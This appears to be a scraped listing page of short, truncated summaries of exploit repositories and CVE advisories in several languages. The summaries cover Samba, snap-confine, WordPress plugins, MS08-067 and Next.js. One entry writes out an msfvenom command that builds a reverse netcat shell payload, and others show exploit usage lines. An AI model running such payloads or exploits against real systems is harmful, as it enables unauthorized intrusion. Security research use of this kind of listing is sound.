smb-usermap

Samba "username map script" 命令执行 该模块利用了 Samba 3.0.20 至 3.0.25rc3 版本中，在使用非默认的 "username map script" 配置选项时存在的命令执行漏洞。通过指定包含 shell 元字符的用户名，攻击者可以执行任意命令。由于该选项用于在认证之前映射用户名，因此利用此漏洞无需认证！ 1. 创建 Shellcode root@kitploit: msfvenom -p cmd/unix/reversenetcat LHOST=10.10.14.56 LPORT=5555 -f python 2. Netcat 监听器...

exploitdb

The Exploit Database Git Repository This is an official repos...

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

CVE-2026-3888 — snap-confine / systemd-tmpfiles 本地权限提升 通过利用 snap-confine 与 systemd-tmpfiles 之间的 TOCTOU 竞态条件，在 Ubuntu Desktop 24.04+ 上实现从非特权用户到完全 root 的本地权限提升。提供两种变体：SUID 和 Capabilities 。 CVSS: 7.8（高危） | 公告： Qualys | 补丁： snapd 2.74.2，2026年3月17日 目录 变体对比 变体 1 — SUID 工作原理 文件 构建 使用方法 环境要求 输出 变体 2 —...

-WinVerifyTrust-Signature-Validation-CVE-2013-3900-Mitigation

CVE-2013-3900 是微软 WinVerifyTrust 函数处理 Windows Authenticode 签名验证方式中的一个远程代码执行漏洞。此缺陷允许攻击者修改已签名的可执行文件，通过在文件未经验证的部分添加恶意代码而不使其签名失效。 此漏洞的缓解措施是一项需要特定注册表设置的可选功能。启用后，Windows 将对 Authenticode 签名执行更严格的验证，确保签名文件中不存在无关数据。 -WinVerifyTrust-签名验证-CVE-2013-3900-缓解 Define the registry key paths $regPath32 =...

ble_proxy

BLE HTTP Proxy System A Bluetooth Low Energy BLE based HTTP proxy system that routes web browser traffic through an iOS device. This allows web browsing through the iOS device's internet connection using BLE as the transport layer. Architecture Overview root@kitploit: Browser → Windows Proxy →...

CVE-2026-19632-POC

CVE-2026-19632 — TranslatePress Unauthenticated Account Takeover Unauthenticated Account Takeover via Password Reset Link Disclosure Contact TG:@soldout0O 💙 Support the Project If you appreciate my work, consider supporting the project via USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN 🎥 Video...

CVE-2024-2242

CVE-2024-2242 Contact Form 7 history.pushState'', '', '/'; document.forms0.submit;...

cve_2022_0492

Shell 脚本模板 一个现代 Bash 脚本模板，具有彩色输出格式和实用函数，用于创建专业的命令行工具。 功能特性 🎨 彩色输出 ：预定义的颜色方案和格式化函数 📝 标准化消息 ：一致的信息、成功、警告和错误消息格式 🔧 实用函数 ：可直接用于常见 shell 脚本操作的现成函数 📦 模块化设计 ：独立的库文件，便于在项目中重复使用 ⚡ 易于设置 ：简单的 source 机制即可立即使用 快速开始 1. 克隆或下载此模板 2. 使你的脚本可执行： root@kitploit: chmod +x script.sh 3. 运行示例脚本： root@kitploit: ./script.s...

ZeroTrace

ZeroTrace ZeroTrace is a powerful ethical hacking tool for anonymization, developed in Bash. It helps you stay anonymous online by routing all of your system’s network traffic—not just browser traffic—through the Tor network. As a result, tracking your online activity, IP address, and location...

CVE-2022-47131

CVE-2022-47131 Academy LMS history.pushState'', '', '/'...

CVE-2022-47130

CVE-2022-47130 Academy LMS history.pushState'', '', '/'...

CVE-2025-47539

🚨 CVE-2025-47539 – WordPress Eventin 插件严重漏洞利用 🔥 漏洞摘要 WordPress 的 Event Manager, Events Calendar, Tickets, Registrations – Eventin 插件因 importitems 函数缺少授权检查，存在 未认证权限提升 漏洞。 🔓 受影响版本： ⚠️ 本脚本仅用于教育目的和专业安全评估。 ⚙️ 使用方法 root@kitploit: usage: a.py -h -u URL Exploit for CVE-2025-47539 By Nxploited Khaled...

CVE-2025-1306

Newscrunch 漏洞利用 CVE-2025-1306 🚨 概述 此漏洞利用针对 Newscrunch WordPress 主题中的跨站请求伪造 CSRF 导致任意文件上传 漏洞 CVE-2025-1306。由于 newscrunchinstallandactivateplugin 函数缺少 nonce 验证 ，未经认证的攻击者 可以诱骗已登录的管理员将任意文件上传到服务器，从而导致远程代码执行 RCE。 🔥 漏洞详情 CVE ID: CVE-2025-1306 受影响软件: Newscrunch WordPress 主题 CSRF Exploit CVE-2025-1306 By...

CVE-2024-54262

CVE-2024-54262 Explotación de CVE-2024-54262: Carga arbitraria de archivos en Import Export para WooCommerce Resumen Este script explota una vulnerabilidad en el plugin "Import Export for WooCommerce" de WordPress. La vulnerabilidad permite a usuarios no autorizados subir archivos arbitrarios, lo...

Exploit_MS08-067

Guía Completa de Uso: Exploit MS08-067 Mejorado 📌 Uso Básico root@kitploit: python3 ExploitMS08-067.py OPCIONES 🎯 Ejemplos Prácticos 1. Windows XP SP0/SP1 Puerto Default 445 root@kitploit: python3 ExploitMS08-067.py 192.168.1.100 1 2. Windows 2003 SP1 English Puerto 139 root@kitploit: python3...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 Un script de prueba de concepto PoC para React2Shell CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código RCE que afecta a aplicaciones Next.js que utilizan Server Actions. !WARNING Aviso legal : Esta herramienta es solo para fines educativos y d...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Declaración de seguridad Este proyecto es únicamente para fines de investigación y educación en seguridad. El uso de esta herramienta para realizar pruebas no autorizadas es ilegal. El autor no se hace responsable de ningún mal uso o daño. 📋 Resumen CVE-2024-31317 es una...

CVE-2026-89984

In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix kernel address leakages in LBR stack Before Arch LBR gained CPL filtering support, a user-only branch stack could still contain kernel addresses. As a result, kernel branch records may be exposed to user space...

AZL-101672 CVE-2026-89984 affecting package kernel 6.6.150.1-1

In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix kernel address leakages in LBR stack Before Arch LBR gained CPL filtering support, a user-only branch stack could still contain kernel addresses. As a result, kernel branch records may be exposed to user space...

DEBIAN-CVE-2026-89984

In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix kernel address leakages in LBR stack Before Arch LBR gained CPL filtering support, a user-only branch stack could still contain kernel addresses. As a result, kernel branch records may be exposed to user space...